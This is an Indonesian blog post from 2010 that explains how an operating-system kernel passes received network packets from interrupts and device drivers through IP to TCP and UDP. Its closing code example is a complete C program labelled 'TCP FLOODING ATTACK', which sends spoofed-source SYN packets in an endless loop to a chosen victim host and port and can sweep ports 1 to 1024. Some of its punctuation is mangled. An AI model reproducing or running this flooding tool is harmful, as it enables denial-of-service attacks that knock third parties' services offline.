Bagaimana kernel menangani paket data network??

May 26, 2010 9:17 AM

Paket data adalah pecah-pecahan data yang siap dikirimkan ke tujuan. Pecahan-pecahan data ini memiliki informasi mengenai siapa yang mengirim dan siapa yang akan menerima serta informasi lain yang terkandung di header packet. Paket data diterima oleh network interface di lapisan fisik, kemudian paket data tersebut disampaikan ke memori. Network interface meluncurkan sebuah interupsi ke kernel sebagai pemberitahuan bahwa data telah diterima. Pada saat tersebut, Prosesor akan menunda eksekusi yang sedang dilakukannya selama beberapa saat. Di waktu penundaan tersebut, prosesor memanggil network device driver (driver untuk network interface) untuk menangani komunikasi jaringan ini.



Jadi ini merupakan gambaran awal mengenai proses penerimaan paket data dari jaringan menuju program aplikasi. Proses di atas bersifat transparan untuk user, artinya user tidak dapat menyadari kejadian itu. Proses yang tampak untuk user adalah proses yang berada di level aplikasi.

Kita akan melanjutkan cerita di atas. Prosesor (CPU) memanggil device driver, prosesor melakukan ini dengan cara meloncatkan EIP (extended Index Pointer, sebuah pointer untuk menunjuk lokasi memori yang akan dieksekusi prosesor) menuju lokasi di mana kode-kode milik device driver tersimpan. Apa yang akan dilakukan oleh device driver?. Pertama, device driver mereset hardware interupt kemudian merestart network interface. Maka pada saat itu driver dapat menerima paket data yang lain. Interup ke CPU untuk memancing pemanggilan device driver terjadi secara temporer, dan mekanisme ini merupakan pemanfaatan CPU untuk menangani aktifitas I/O.

Untuk mengakomodasi kedatangan paket-paket data, sistem membutuhkan kemampuan untuk membaca paket dari network interface. Di beberapa sistem yang memiliki beberapa network interface, untuk menangani kedatangan paket seperti ini menggunakan mekanisme software interrupt. Ketika paket tiba, interrupt hardware terjadi kemudian device driver menjalankan mekanisme untuk menerima paket. Device driver akan melanjutkan aksinya dengan merestart network interface. Device driver akan memanggil hardware untuk melakukan penjadwalan mengenai waktu interrupt yang akan terjadi pada saat selanjutnya dengan prioritas resource yang lebih rendah. Hal ini terjadi secara berulang-ulang sebanyak berapa paket yang akan diterima oleh network interface. Interrupt hardware akan memancing CPU untuk mengeksekusi kode device driver untuk melakukan pekerjaan sebagaimana yang telah dijelaskan di atas. Biasanya, desain sistem yang menggunakan lebih dari satu network interface diilustrasikan sebagai berikut:

queue packet
yang akan dikirim ==> +——-+ +——+
ke IP |_______| |______|
|_______| |______|
| | | |
| | | |
^ ^
| |
device net1, device net-n (OS)
—————————————————————
^ ^ (Hardware)
| |
Hardware net1, Hardware net-n

Device driver tidak dapat memanggil prosedur untuk memproses beberapa paket karena proses input paket data terjadi pada saat terjadinya interrupt. Hal ini mengakibatkan prosesdur tidak dapat secara langsung memanggil IP (Internet Protocol). Paket-paket data yang masuk ditampung ke dalam queue, kemudian dari queue akan ditransfer ke IP menggunakan komunikasi secara sinkron. Ketika paket-paket yang memiliki IP datagram tiba, maka interrupt software harus meng-enqueue paket kemudian mengingatkan pada proses IP bahwa datagram telah tiba. Namun ketika proses IP tidak memiliki paket yang akan ditangani, proses Ip akan memanggil fungsi receive(). Fungsi ini akan menunggu datagram-datagram lain. Proses IP akan melakukan pembongkaran paket-paket yang dikirim dari berbagai queue untuk diproses.

Setiap paket yang datang selalu memiliki carrie. Carrie ini semacam penanda ke protokol manakah paket tersebut akan dioper. Di penjelasan sebelumnya (pemrosesan di IP), paket-paket dari queue dihempaskan ke IP, karena paket-paket tersebut memiliki carrie datagramnya adalah segemen IP. Begitu juga dengan protokol lain seperti TCP (Transmission Control Protocol) dan UDP. Paket yang akan dikirimkan ke TCP, otomatis paket tersebut memiliki carrie TCP, begitu juga dengan UDP.

TCP merupakan sistem yang kompleks. Maka dari itu untuk menangani paket yang datang ke segmen TCP, kebanyakan desain OS mengimplementasikan pada pembagian proses. Jadi paket-paket tersebut akan ditangani oleh proses-proses secara terpisah. Dikarenakan kompleksnya sistem, maka komunikasi yang dalakukan tidak sembarangan. Di UNIX secara umum menggunakan mekanisme IPC (Inter Process Communication) untuk melakukan interaksi. Mekanisme IPC ini akan mengakibatkan IP memanggil fungsi psend() untuk mendeposit paket ke port. Kemudian respon dari TCP, TCP akan memanggil preceive() untuk menerima data dari port.

prid = pcreate (PSIZE); /* menciptakan port */
psend (prid, message); /* mengirimkan pesan ke port */
message = preceive (port); /* mengekstrak pesan dari port */

Di linux, dalam hal transfer data dilakukan melalui socket. Socket semacam media komunikasi baik untuk pengirim maupun penerima. Di bawah ini contoh cara penciptaan tcp socket, untuk lebih jelasnya bisa baca di halaman manual (tcp):

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

tcp_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

Struktur UDP lebih sederhana jika dibandingkan dengan TCP, maka dari itu untuk menangani paket yang ditujukan ke UDP berbeda sekali dengan TCP. UDP tidak memproses paket secara terpisah, UDP berisi prosedur-prosedur untuk mengeksekusi proses IP untuk menangani datagram UDP yang datang. Prosedur-prosedur tersebut akan memproses port tujuan dari protokol UDP dan menggunakannya untuk memilih queue (port) yang tepat untuk datagram yang tiba. Kemudian proses IP mendepositkan datagram UDP ke port.

Perbedaan mekanisme antara UDP dengan TCP dapat disimpulkan demikian: UDP memproses user datagram yang berdatangan kemudian menempatkannya ke queue sistem operasi (port) sedangkan TCP memproses stream-stream data ke dalam proses yang terpisah, kemudian menempatkan hasilnya ke buffer.

Bagaiman program aplikasi mengambil data dari protokol TCP maupun UDP?. Program aplikasi bisa mengambil data sesuai dengan tipe komunikasi yang digunakan oleh TCP dan UDP. Karena kedua protokol tersebut mempunyai cara kerja yang sangat berbeda. Komunikasi yang terjadi pada pengambilan data yang disampaikan oleh TCP dan UDP terjadi dengan menggunakan komunikasi antar proses. Contohnya UDP menggunakan fungsi milik sistem operasi seperti preceive() untuk mengambil datagram UDP. Sedangkan TCP tidak menggunakan preceive(). Karean TCP lebih kompleks, TCP menggunakan semaphore. Semaphore digunakan untuk mengendalikan akses ke data di buffer TCP.

Contoh Kode
/**
** TCP FLOODING ATTACK!!!
**
** send packet and deat…
**
** Program ini didesain untuk membanjiri
** port dengan kiriman pake-paket data.
** Paket yang dikirimkan berupa raw data yang
** mana susunan tcp dan ip-nya telah dirubah.
**
** author : suwardi
** mail : h3llc0d3@gmail.com
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <time.h>
#include <linux/signal.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>

#define BUFLEN 256
#define MENUBUF 64
#define MAXPORT 1024
#define MAXPAK 4096
#define FLOODSLEEP 100
#define ICMPSLEEP 100

int HANDLERCODE=1;
int KEEPQUIET=0;

void flooding (int, in_addr_t, in_addr_t, unsigned short);

int main (argc, argv, environ)
int argc; char **argv; const char *environ;
{
in_addr_t victim, src;
int socket__fd; char * ch_addr;
int dport, i;

//void flooding (int, in_addr_t, in_addr_t, unsigned short);
unsigned int resolve (char *);

struct hostent *host;
struct servent *port;
struct sockaddr_in address;

if (argc != 4) {
fprintf (stderr, “usage: %s [src] [dest] [port]\n”, *argv);
exit (0);
}
/* pembentukan socket */
if ((socket__fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror (“socket error…!!!!\n”); exit (-1); } /* resolve komputer target */ printf (“–>lookup host %s…\n”, *(argv+1));
if ((src=resolve (*(argv+1))) < 0) fprintf (stderr, “error lookup host\n”); if ((victim=resolve (*(argv+2))) < 0) fprintf (stderr, “error lookup host\n”); if ((inet_ntop (AF_INET, (const void *)&src, ch_addr, INET_ADDRSTRLEN)) != NULL) printf (“\t==> source: %s..\n”, ch_addr);
if ((inet_ntop (AF_INET, (const void *)&victim, ch_addr, INET_ADDRSTRLEN)) != NULL)
printf (“\t==> target: %s..\n”, ch_addr);
dport = atoi (*(argv+3));
address.sin_family = AF_INET;
address.sin_addr.s_addr = victim;
address.sin_port = htons (dport);
flooding (socket__fd, src, victim, dport);
syslog (LOG_LOCAL6|LOG_INFO, “FLOOD: pid: %d user: %s victim: %s source: %s port: %d\n”,
getpid(), getenv(“USER”), victim, src, port);
return 0×0;
}

void flooding (socket__fd, saddr, dest, port)
int socket__fd; in_addr_t saddr;
in_addr_t dest; unsigned short port;
{
struct hell_packet{
struct iphdr ip;
struct tcphdr tcp;
} hell_packet;

struct {
unsigned int source_addr;
unsigned int dest_addr;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} fake;

struct sockaddr_in sin;
register int i = 0, j = 0;
int flood = 0;
unsigned short sport = 161+getpid();

unsigned short in_cksum (unsigned short *, int);

if (!port) { flood++; fprintf (stderr, “flooding port: %d\n”, sport++); }

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dest;
sin.sin_port = sport++;

/* assembling packet */
hell_packet.tcp.source = sport++;
hell_packet.tcp.dest = htons (port);
hell_packet.tcp.seq = 4935835+getpid();
hell_packet.tcp.ack_seq = 0;
hell_packet.tcp.doff = 5;
hell_packet.tcp.res1 = 0;
// hell_packet->tcp->res2 = 0;
hell_packet.tcp.urg = 0;
hell_packet.tcp.ack = 0;
hell_packet.tcp.psh = 0;
hell_packet.tcp.rst = 0;
hell_packet.tcp.syn = 1;
hell_packet.tcp.fin = 0;
hell_packet.tcp.window = htons (424);
hell_packet.tcp.check = 0;
hell_packet.tcp.urg_ptr = 0;
hell_packet.ip.version = 4;
hell_packet.ip.ihl = 5;
hell_packet.ip.tos = 0;
hell_packet.ip.tot_len = htons (40);
hell_packet.ip.id = getpid ();
hell_packet.ip.frag_off = 0;
hell_packet.ip.ttl = 255;
hell_packet.ip.protocol = IPPROTO_TCP;
hell_packet.ip.check = 0;
hell_packet.ip.saddr = saddr;
hell_packet.ip.daddr = dest;

fake.source_addr = hell_packet.ip.saddr;
fake.dest_addr = hell_packet.ip.daddr;
fake.placeholder = 0;
fake.protocol = IPPROTO_TCP;
fake.tcp_length = htons (20);

while (1) {
if (flood) {
if (j == 1024) {flood++;}//break;}
hell_packet.tcp.dest = htons (++j);
fprintf (stderr, “%d”, j);
fprintf (stderr, “%c”, 0×08);
if (j>=10) fprintf (stderr, “%c”, 0×08);
if (j>=100) fprintf (stderr, “%c”, 0×08);
if (j>=1000) fprintf (stderr, “%c”, 0×08);
if (j>=10000) fprintf (stderr, “%c”, 0×08);
}
for (i = 0; i <= 1000; i++ ) {
hell_packet.tcp.source++;
hell_packet.tcp.seq++;
hell_packet.tcp.check = 0;
hell_packet.ip.id++;
hell_packet.ip.check = 0;
hell_packet.ip.check = in_cksum((unsigned short *)&
hell_packet.ip,20);
bcopy ((char *)&hell_packet.tcp,(char *)&fake.tcp,20);
hell_packet.tcp.check=in_cksum((unsigned short *)&fake,32);
usleep (FLOODSLEEP);
sendto (socket__fd,&hell_packet,40,0,(struct sockaddr *)&sin,sizeof(sin)); }
if (!flood) break;
} }
unsigned int resolve (hostname) char *hostname;
unsigned int daddr;
struct hostent *host;

if ((daddr = inet_addr (hostname)) == INADDR_NONE) {
if (!(host = gethostbyname (hostname))) {
fprintf (stderr, “Lookup failure for %s.. \n”, hostname); exit (0); return -1;
}
bcopy (host->h_addr, (char *)&daddr, sizeof (host->h_length));
}
return daddr;
}

unsigned short in_cksum (unsigned short *ptr,int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;

sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

int alarmHandler(){
HANDLERCODE=0;
alarm(0);
signal(SIGALRM,SIG_DFL);
return(0);
}

1 comments:

Anonymous said...

Well noted..

Article list :